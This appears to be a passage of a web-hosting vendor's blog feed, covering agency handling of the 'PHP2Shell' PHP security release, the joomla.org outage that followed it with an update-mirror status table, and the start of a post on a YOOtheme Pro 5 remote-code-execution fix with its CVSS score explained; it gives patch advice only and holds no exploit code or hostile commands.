&lt;h2&gt;Your Clients Have Never Heard of PHP2Shell&lt;/h2&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-coffee-shop-tweet.DKYnKsfy_Z1fYIvw.webp&quot; alt=&quot;A post on X by João Santos (@joaomvfsantos): Go to your local coffee shop to understand nobody gives a shit about PHP, vulnerabilities and AI.&quot; loading=&quot;lazy&quot; width=&quot;1076&quot; height=&quot;222&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://x.com/joaomvfsantos/status/2113171087781712097&quot;&gt;João Santos put it well&lt;/a&gt; the morning after the release: go to your local coffee shop and see how much anyone there cares about PHP, vulnerabilities and AI. He is right. We live and work in a PHP bubble. This week our feeds are wall-to-wall CVE numbers, CVSS scores and arguments about back-ports, and outside that bubble it is an ordinary Thursday.&lt;/p&gt;
&lt;p&gt;Flo the Florist wants her orders to keep coming in. Bob the Builder wants the quote form on his site to keep sending him leads. Neither of them knows which PHP version their site runs, and neither should have to, because that is what they pay an agency for.&lt;/p&gt;
&lt;p&gt;Most of them will never ask. A few will catch a headline about a “critical PHP flaw” on the news, or get a scary email forwarded by a nephew, and the next message in your inbox will be “are we affected?”. The agencies that come out of this week looking good are the ones that can answer in one line, the same day, instead of needing an afternoon to find out. Everything earlier in this post is about being able to send that line.&lt;/p&gt;
&lt;p&gt;It also changes how you say it. Flo does not want CVE numbers, CloudLinux package names or the word “back-port”. She wants “we checked your site, your host has applied PHP’s security fix, there is nothing for you to do.” Keep the jargon on your side of the bubble, and keep the evidence somewhere you can find it if she, or her insurer, ever asks.&lt;/p&gt;
&lt;h2&gt;Reporting It to Clients (and Your Own Tools)&lt;/h2&gt;
&lt;p&gt;Clients will ask, and some will ask before you have finished the list. Client reports, both the in-app version and the emailed one, print a note under the PHP version for an affected site, so a report sent this week says the right thing without you editing it.&lt;/p&gt;
&lt;p&gt;If you run your own dashboards or ticketing, the API and MCP site summary have a &lt;code&gt;php_security_release&lt;/code&gt; field with four values: &lt;code&gt;unpatched&lt;/code&gt;, &lt;code&gt;eol&lt;/code&gt;, &lt;code&gt;backported&lt;/code&gt; or null, and the first two count as an attention reason. That is enough to drive a Slack alert, a client status page or a weekly export from &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api-site-summary/&quot;&gt;one API or MCP call&lt;/a&gt; for every site in your account. And when you just need the page in front of you, Cmd+K and type php: the explainer page is in there alongside the rest of the tools.&lt;/p&gt;
&lt;p&gt;The fire is still burning on a fair share of hosting as I write this. What has changed since 21 October is that an agency no longer needs to log in to eleven control panels to find out where. Open the sites list, filter by host, send the tickets, record the back-ports, and watch the progress bar move. The dog can finish its coffee.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;Security advisory: Critical remote code execution vulnerabilities, update now&lt;/a&gt; - PHP&apos;s advisory for the 21 October 2026 release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/10/21/php2shell-php-vulnerabilities-patched-cve-2026-109618-cve-2026-109619/&quot;&gt;PHP2Shell: PHP vulnerabilities patched&lt;/a&gt; - Help Net Security&apos;s report, with the name the industry settled on.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.cloudlinux.com/php-cve-2026-109618-and-cve-2026-109619&quot;&gt;CloudLinux on CVE-2026-109618 and CVE-2026-109619&lt;/a&gt; - why ea-php and alt-php version numbers stay below PHP&apos;s, and how to check the changelog instead.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ubuntu.com/blog/php2shell-vulnerability-fixes-available&quot;&gt;PHP2Shell vulnerability fixes available&lt;/a&gt; - Ubuntu&apos;s fixed packages, which keep the old upstream version number.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://security-tracker.debian.org/tracker/CVE-2026-109618&quot;&gt;Debian security tracker: CVE-2026-109618&lt;/a&gt; - Debian&apos;s fixed packages, which do ship the new upstream numbers.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;PHP: Supported Versions&lt;/a&gt; - which PHP branches still receive fixes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kcgreendotcom.com/&quot;&gt;KC Green&lt;/a&gt; - the artist behind the This is fine dog, from Gunshow (2013).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To see every one of your client sites, its PHP version and whether it is patched, grouped by server, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. No credit card needed.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>security</category><category>hosting</category><category>agency tools</category><category>alerts</category><category>snapshot</category><category>end-of-life</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-agencies-firefight-php2shell-at-scale.png" length="0" type="image/png"/></item><item><title>Joomla.org Is Offline After the PHP Security Release: What It Means for Your Site</title><link>https://mysites.guru/blog/joomla-org-offline-php-security-releases/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-org-offline-php-security-releases/</guid><description>joomla.org is offline after PHP&apos;s critical security release. Downloads, the JED and automated updates are down. What still works, and why PHP is the real job.</description><pubDate>Wed, 21 Oct 2026 20:55:32 GMT</pubDate><content:encoded>&lt;p&gt;At 20:00 UTC on 21 October 2026 the Joomla project &lt;a href=&quot;https://bsky.app/profile/joomla.org/post/3myfwtywl3q2i&quot;&gt;posted on Bluesky&lt;/a&gt; that “due to today’s PHP security releases, Joomla websites are temporarily offline to keep our sites and your data safe. Downloads, automated updates and Install from Web are unavailable for now.”&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-org-offline-bluesky-announcement.B_JtYsvD_ZoFJGn.webp&quot; alt=&quot;Joomla&apos;s Bluesky post of 21 October 2026 saying Joomla websites are temporarily offline because of the PHP security releases, with a Joomla.org Websites Under Maintenance banner&quot; loading=&quot;lazy&quot; width=&quot;1242&quot; height=&quot;1074&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;Joomla&apos;s announcement on Bluesky, 20:00 UTC on 21 October 2026.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://status.joom.la/&quot;&gt;status page&lt;/a&gt; shows the main joomla.org sites had already been down since the afternoon, hours before the announcement. Three minutes later came &lt;a href=&quot;https://bsky.app/profile/joomla.org/post/3myfwyvg3bs2j&quot;&gt;the part aimed at you&lt;/a&gt;: “Running a Joomla site? Contact your hosting provider now and ask if your server runs a patched PHP version. This is a server-level vulnerability, so updating Joomla alone will not fix it.”&lt;/p&gt;
&lt;p&gt;Your Joomla sites are not offline; joomla.org is. Your sites run on your own hosting, and the outage does not change how they serve pages. The urgent job is the PHP version under each of them, at your host, which is what Joomla itself is telling people.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;Find out which PHP version each of your Joomla sites reports and whether it is 8.5.12, 8.4.27, 8.3.36 or 8.2.35. If it is below those, or on 8.1 or older, contact the host now and ask when the patched release goes on. Do not spend the evening on Joomla core updates: the latest releases predate the outage and do not contain the PHP fix, because the flaw is not in Joomla. Our &lt;a href=&quot;https://mysites.guru/blog/php-critical-security-release-joomla-wordpress/&quot;&gt;PHP security release post&lt;/a&gt; has the detail on the two vulnerabilities.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What Is Down and What Still Works&lt;/h2&gt;
&lt;p&gt;We checked each joomla.org service at about 20:35 UTC. Most of the project’s public sites return Cloudflare errors (521, 502 or 503). A few pieces still answer, and they are the ones that matter for keeping sites updated.&lt;/p&gt;






































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Service&lt;/th&gt;&lt;th&gt;Status at 20:35 UTC&lt;/th&gt;&lt;th&gt;What it means for your site&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;joomla.org (main site)&lt;/td&gt;&lt;td&gt;Down&lt;/td&gt;&lt;td&gt;Nothing. Your site does not call it.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;downloads.joomla.org&lt;/td&gt;&lt;td&gt;Down&lt;/td&gt;&lt;td&gt;The first download mirror for core packages is unavailable. Joomla 4, 5 and 6 can use two others; Joomla 3 cannot.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;extensions.joomla.org (the JED)&lt;/td&gt;&lt;td&gt;Down&lt;/td&gt;&lt;td&gt;You cannot browse or install new extensions from the directory.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Install from Web feed&lt;/td&gt;&lt;td&gt;Down&lt;/td&gt;&lt;td&gt;The Install from Web tab shows “Can’t connect to the Joomla! server”.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;autoupdate.joomla.org&lt;/td&gt;&lt;td&gt;Down (503)&lt;/td&gt;&lt;td&gt;Joomla’s free Automated Core Updates service cannot call into sites.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;developer.joomla.org, magazine, volunteers, community, API docs&lt;/td&gt;&lt;td&gt;Down&lt;/td&gt;&lt;td&gt;Nothing for a running site.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;forum.joomla.org&lt;/td&gt;&lt;td&gt;Down (confirmed later in the evening)&lt;/td&gt;&lt;td&gt;The community forum is unavailable, so you cannot search past answers there for now.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;docs.joomla.org&lt;/td&gt;&lt;td&gt;Behind a Cloudflare challenge&lt;/td&gt;&lt;td&gt;We could not tell either way.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;manual.joomla.org, status.joom.la&lt;/td&gt;&lt;td&gt;Up&lt;/td&gt;&lt;td&gt;The manual and the status page answer normally.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;update.joomla.org update lists&lt;/td&gt;&lt;td&gt;Up, from Cloudflare’s cache&lt;/td&gt;&lt;td&gt;Joomla’s update check still sees the current releases.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUF signed metadata (targets.json, timestamp.json)&lt;/td&gt;&lt;td&gt;Up, from Cloudflare’s cache&lt;/td&gt;&lt;td&gt;Joomla 5.1+ can still decide which core update to offer, until the cached copy expires.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;update.joomla.org/releases/ and GitHub releases&lt;/td&gt;&lt;td&gt;Up&lt;/td&gt;&lt;td&gt;Core update packages are still downloadable.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The cached responses from update.joomla.org show &lt;code&gt;cf-cache-status: STALE&lt;/code&gt;, which is Cloudflare serving the last good copy because the origin is unreachable. That is why Joomla sites still see a correct update list, and why the expiry further down this post is worth a look.&lt;/p&gt;
&lt;h2&gt;Why Did Joomla Take Its Own Sites Offline?&lt;/h2&gt;
&lt;p&gt;Because PHP published a critical security release on the afternoon of 21 October, and the Joomla project’s servers run PHP like everyone else’s. At about 13:35 UTC &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;PHP released 8.5.12, 8.4.27, 8.3.36 and 8.2.35&lt;/a&gt;, fixing CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2 and both confirmed as allowing unauthenticated remote code execution. PHP’s own words: “There are no complete mitigations, updating is the only safe choice.” PHP 8.1 and older get no official release. The researchers, &lt;a href=&quot;https://www.wiz.io/blog/php2shell-php-rce&quot;&gt;Wiz, say they demonstrated unauthenticated RCE&lt;/a&gt; against default container images of WordPress, Drupal and Joomla; exploitation in the wild has been claimed but not confirmed. The full breakdown is in our &lt;a href=&quot;https://mysites.guru/blog/php-critical-security-release-joomla-wordpress/&quot;&gt;post on the PHP release&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Joomla is not the only organisation that went dark rather than wait. &lt;a href=&quot;https://globalnews.ca/news/12110881/government-sites-go-dark-vuln-in-code/&quot;&gt;Global News reported&lt;/a&gt; that the Government of Canada took some sites offline as a precaution and that Dutch and Finnish agencies did the same, and &lt;a href=&quot;https://cert.europa.eu/publications/security-advisories/2026-018/&quot;&gt;CERT-EU’s advisory&lt;/a&gt; told organisations to “consider isolating internet-facing applications from public networks until a fix can be applied”.&lt;/p&gt;
&lt;p&gt;Our view is that Joomla made the right call. A project that ships the update packages for a large share of the web should not keep those servers online on an unpatched PHP. The update pipeline is exactly what an attacker would want to own, and a few hours without a download page is a cheap price for keeping it clean.&lt;/p&gt;
&lt;h2&gt;Can You Still Update Joomla Core During the Outage?&lt;/h2&gt;
&lt;p&gt;Probably, and in most cases you will not need to. The latest core releases are 6.2.0 and 5.4.10, both already in the signed update metadata and both published before the outage, so a site on one of them has no core update to miss. Joomla core does not contain the PHP flaw, which is Joomla’s own point about updating Joomla alone.&lt;/p&gt;
&lt;p&gt;For a Joomla 4, 5 or 6 site that does still need one, Joomla’s update check reads update.joomla.org, which is still answering from Cloudflare’s cache, so the admin still sees the current release offered. The signed metadata lists three download mirrors for each core package: downloads.joomla.org, GitHub, and update.joomla.org/releases/. Joomla’s own updater (the download step in com_joomlaupdate) tries the first URL and moves on to the next mirror if it fails. downloads.joomla.org is down, but the &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases&quot;&gt;GitHub releases&lt;/a&gt; and update.joomla.org/releases/ both answered when we checked, so a core update started now should fall back to a mirror that is up. We downloaded the 5.4.10 update package from both working mirrors at 20:43 UTC, and each file’s SHA-256 matched the hash in Joomla’s signed metadata. We have not run a full update end to end during the outage, so “should”, not “will”.&lt;/p&gt;
&lt;p&gt;Joomla 3 is the exception. Joomla 2.5 and 3.x sites read the legacy core feed at update.joomla.org/core/extension.xml, and that feed names downloads.joomla.org as the only download location, with no mirrors listed. A Joomla 3 core update started from the admin, or from mySites.guru, has nowhere else to fetch the package from until downloads.joomla.org is back. The Joomla 4 and 5 update feeds list the GitHub and update.joomla.org mirrors alongside it, and so does the signed metadata Joomla 5.1 and newer use. If you still look after Joomla 3 sites, our &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;Joomla 3 security hub&lt;/a&gt; covers the options for them.&lt;/p&gt;
&lt;p&gt;To take the live update check out of the picture entirely on Joomla 4 and newer, download the package from GitHub releases and install it by hand in System &amp;gt; Update &amp;gt; Joomla using the “Upload &amp;amp; Update” tab. Our post on &lt;a href=&quot;https://mysites.guru/blog/joomla-file-checksum-failed/&quot;&gt;the Joomla file checksum failed error&lt;/a&gt; covers verifying a package and doing this safely.&lt;/p&gt;
&lt;p&gt;“Automated updates are down” is being read three different ways. Joomla’s Automated Core Updates is a free service the Joomla project runs: autoupdate.joomla.org calls back into opted-in sites and applies core updates for them. That server is returning 503, so that service is down. It is not the same thing as an administrator clicking update in the Joomla admin, which uses the site’s own updater and the mirrors above, and it is not the same thing as a core update run from mySites.guru, which uses that same site-side updater. Our post on &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;how to disable Joomla’s automated upgrades&lt;/a&gt; shows where the project’s service is switched on and off.&lt;/p&gt;
&lt;h2&gt;The Joomla TUF Update Expiry to Watch For on 23 October&lt;/h2&gt;
&lt;p&gt;TUF, The Update Framework, is an open standard for securing software updates, and Joomla 5.1 and newer use it to decide which core update to offer. The Joomla project signs a small set of metadata files describing each release and its hash: root.json, targets.json, snapshot.json and timestamp.json. Before a site accepts an update it checks those signatures, and it checks that none of the files has expired. The expiry is there to stop a freeze attack, where someone who controls a mirror or sits in the network path keeps serving an old, still validly signed list so a site never hears about a security release. A site that sees expired metadata says no to the update rather than trusting it.&lt;/p&gt;
&lt;p&gt;That expiry could bite later in the week if joomla.org stays down. The cached copy of timestamp.json that update.joomla.org is serving expires at 01:18 UTC on 23 October 2026.&lt;/p&gt;
&lt;p&gt;The signing itself is still running: the copy in Joomla’s GitHub updates repository is already signed through 24 October, so the update.joomla.org copy is just a cached snapshot that happens to be the one sites can reach. If joomla.org is still offline when that snapshot expires and the cache has not been refreshed, a Joomla 5.1+ site checking for core updates would show “Update not possible because the offered update has expired”. That is a TUF safety check rejecting stale metadata, not a fault on the site, and we have an explainer on &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;what that message means&lt;/a&gt;. Treat it as a possibility to watch for rather than a prediction; if joomla.org is back before then, nobody will see it.&lt;/p&gt;
&lt;h2&gt;What About Joomla Extensions and Install from Web?&lt;/h2&gt;
&lt;p&gt;Install from Web and the Joomla Extensions Directory are both down, so you cannot browse or install new extensions from inside Joomla for now. Open the Install from Web tab under System &amp;gt; Install &amp;gt; Extensions and Joomla says “Can’t connect to the Joomla! server. Please try again later.” That message is about joomla.org, not your site, and it can wait until the project is back.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-install-from-web-cant-connect.BuQOP4hF_38n2u.webp&quot; alt=&quot;Joomla&apos;s Install from Web tab showing the error Can&apos;t connect to the Joomla! server. Please try again later.&quot; loading=&quot;lazy&quot; width=&quot;1400&quot; height=&quot;558&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The other tabs on the same screen, Upload Package File, Install from Folder and Install from URL, do not use joomla.org, so installing an extension from a zip you already have works as normal.&lt;/p&gt;
&lt;p&gt;Updates for extensions you already have come from each vendor’s own update server, not from joomla.org. That would normally keep them out of this outage, but some extension developers have taken their own sites offline for the same PHP release, and their update servers went with them. For those extensions Joomla cannot check whether a newer version exists, so an empty update list is not proof that a site is current. Run the update check again once the vendor is back. Extensions from vendors whose sites are still up update as normal, and the two things that depend on joomla.org itself are the core update entry and the language pack feeds hosted there.&lt;/p&gt;
&lt;h2&gt;What mySites.guru Keeps Doing, and What It Cannot&lt;/h2&gt;
&lt;p&gt;mySites.guru has no way around the outage for Joomla core. A core update run from mySites.guru uses the site’s own Joomla updater, the same code as clicking update in the Joomla admin. During the outage it behaves the same way: it reads Joomla’s currently cached update metadata and downloads the package with the same mirror fallback described above, which on Joomla 3 means no fallback at all. mySites.guru has no separate mirror of Joomla core packages. If Joomla’s updater cannot complete an update on a site, we cannot complete it either.&lt;/p&gt;
&lt;p&gt;Extension update checks have the same limit. mySites.guru asks each site to check its own update servers, so where a vendor has taken its site offline, the update for that extension cannot be seen until the vendor is back. For every vendor still online, &lt;a href=&quot;https://mysites.guru/bulk-update-joomla/&quot;&gt;bulk-updating Joomla extensions&lt;/a&gt; across your sites works as normal.&lt;/p&gt;
&lt;p&gt;The rest keeps running, because none of it depends on joomla.org or a vendor’s server:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The core file integrity check, which flags modified core files, uses mySites.guru’s own copy of Joomla core file hashes.&lt;/li&gt;
&lt;li&gt;Vulnerable-extension flagging uses mySites.guru’s own vulnerability database, so a site running a known vulnerable extension version is still flagged even while that vendor’s update server is offline.&lt;/li&gt;
&lt;li&gt;The PHP version check, the one that matters this week, reads what each site reports.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, all of this is on one dashboard, so you are not logging into each admin in turn to find out where you stand.&lt;/p&gt;
&lt;h2&gt;How Do You Check PHP on Every Joomla Site?&lt;/h2&gt;
&lt;p&gt;Look at the PHP version each site reports while serving a request, and compare it with the patched release for its branch. mySites.guru records that version for every connected site and, for this release, marks it red at or below 8.2.34, 8.3.35, 8.4.26 or 8.5.11. Sites on 8.1 and older are flagged end of life, because no official release exists for them. Being on a supported branch is only half the answer; the patch level inside it is the other half, and our post on &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;PHP branches versus patch levels&lt;/a&gt; explains why the higher PHP number can be the more out-of-date one.&lt;/p&gt;
&lt;p&gt;One caveat applies to any version-number check, ours included. A distribution package that backports the fix without changing the version number still looks unpatched, so for a site on distribution packages, confirm with the host rather than trusting the number either way, then &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-agencies-firefight-php2shell-at-scale/&quot;&gt;record the back-port&lt;/a&gt; so the site stops showing red.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=generic/hostingenvironment/versionnumber&quot;&gt;PHP Version Should Be Latest Supported Series&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=generic/hostingenvironment/versionnumber&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What to Do While Joomla.org Is Down&lt;/h2&gt;
&lt;p&gt;Joomla will come back when its servers run a patched PHP, and nothing you do on your own sites in the meantime depends on joomla.org, apart from browsing for new extensions, which can wait. What cannot wait is an unpatched PHP under a public site, with the researchers reporting a working exploit against a default Joomla image. The Joomla project has done its part by taking the risk off its own servers. Yours is to get the list of every PHP version across your sites, chase the hosts that have not moved, and plan the version move for anything on 8.1 or older. If that list does not exist yet, a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; builds it in a few minutes.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bsky.app/profile/joomla.org/post/3myfwtywl3q2i&quot;&gt;Joomla&apos;s outage notice on Bluesky&lt;/a&gt; - the project&apos;s announcement that its websites are offline because of the PHP security releases.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bsky.app/profile/joomla.org/post/3myfwyvg3bs2j&quot;&gt;Joomla&apos;s advice to site owners&lt;/a&gt; - contact your host and ask about a patched PHP; updating Joomla alone will not fix it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://status.joom.la/&quot;&gt;Joomla status page&lt;/a&gt; - the live status of each joomla.org property.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases&quot;&gt;Joomla CMS releases on GitHub&lt;/a&gt; - core update packages that stayed downloadable during the outage.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;PHP&apos;s security advisory for the 21 October releases&lt;/a&gt; - the fixed versions and PHP&apos;s own risk assessment.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wiz.io/blog/php2shell-php-rce&quot;&gt;Wiz: PHP2Shell&lt;/a&gt; - the researchers&apos; write-up, including the demonstrated RCE against default Joomla, WordPress and Drupal container images.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cert.europa.eu/publications/security-advisories/2026-018/&quot;&gt;CERT-EU advisory 2026-018&lt;/a&gt; - the advice to consider isolating internet-facing applications until the fix is applied.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://globalnews.ca/news/12110881/government-sites-go-dark-vuln-in-code/&quot;&gt;Government sites go dark over vulnerability in code&lt;/a&gt; - Global News on the Canadian, Dutch and Finnish agencies that took sites offline as a precaution.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To see which PHP version every one of your Joomla sites is reporting, and which are still below the patched release, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. No credit card needed.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>php</category><category>security</category><category>updates</category><category>joomla update</category><enclosure url="https://mysites.guru/img/og/blog/joomla-org-offline-php-security-releases.png" length="0" type="image/png"/></item><item><title>YOOtheme Pro 5.0.53 Fixes an Unauthenticated RCE: Update Every Site Now</title><link>https://mysites.guru/blog/yootheme-pro-5-critical-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/yootheme-pro-5-critical-security-update/</guid><description>YOOtheme Pro 5.0.53 fixes CVE-2026-102785, an unauthenticated remote code execution flaw in the image handler. Update every Pro 5 site now; Pro 4 is unaffected.</description><pubDate>Wed, 21 Oct 2026 13:34:45 GMT</pubDate><content:encoded>&lt;p&gt;YOOtheme has released &lt;a href=&quot;https://yootheme.com/support/yootheme-pro/changelog&quot;&gt;YOOtheme Pro 5.0.53&lt;/a&gt;, the critical security update for its Joomla page-builder template that it &lt;a href=&quot;https://mysites.guru/blog/yootheme-pro-5-critical-security-update-pre-announcement/&quot;&gt;gave advance notice of the day before&lt;/a&gt;. The changelog entry names the flaw: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102785/&quot;&gt;CVE-2026-102785&lt;/a&gt;, “Fix unauthenticated remote code execution via image handler”. Every YOOtheme Pro 5 build from 5.0.0 to 5.0.52 is affected. Update every site running one of them to 5.0.53 or later now. YOOtheme Pro 4 and earlier are not affected.&lt;/p&gt;
&lt;p&gt;This was the vendor’s notice to customers on 20 October 2026: “We are preparing a critical security update for YOOtheme Pro 5, scheduled for release October 21, at 4 PM CEST. All users running YOOtheme Pro 5 must update immediately once the new version becomes available. YOOtheme Pro 4 and earlier versions are not affected.” The release came out ahead of that slot, and by early afternoon UTC sites were already updating.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;CVE-2026-102785: unauthenticated remote code execution via the image handler&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;mySites.guru (provisional, the CVE record is not published yet)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Any visitor could reach the public image handler without logging in and, in 5.0.52 and earlier, influence what the handler wrote to disk and where, which the vendor classifies as remote code execution.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;YOOtheme Pro 5.0.0 to 5.0.52&lt;/span&gt;&lt;span&gt;Fixed in 5.0.53&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The score above is our own assessment, taken from the vendor’s classification of the flaw as unauthenticated remote code execution. The CVE identifier is reserved but its record has not been published yet, so there is no official CVSS score, CWE or description to quote. We will update the &lt;a href=&quot;https://mysites.guru/vulnerabilities/yootheme/&quot;&gt;YOOtheme entry in the Joomla Vulnerability Database&lt;/a&gt; when the record appears. Who reported the flaw to YOOtheme has not been stated.&lt;/p&gt;
&lt;h2&gt;What the YOOtheme Pro 5 Joomla template flaw is&lt;/h2&gt;
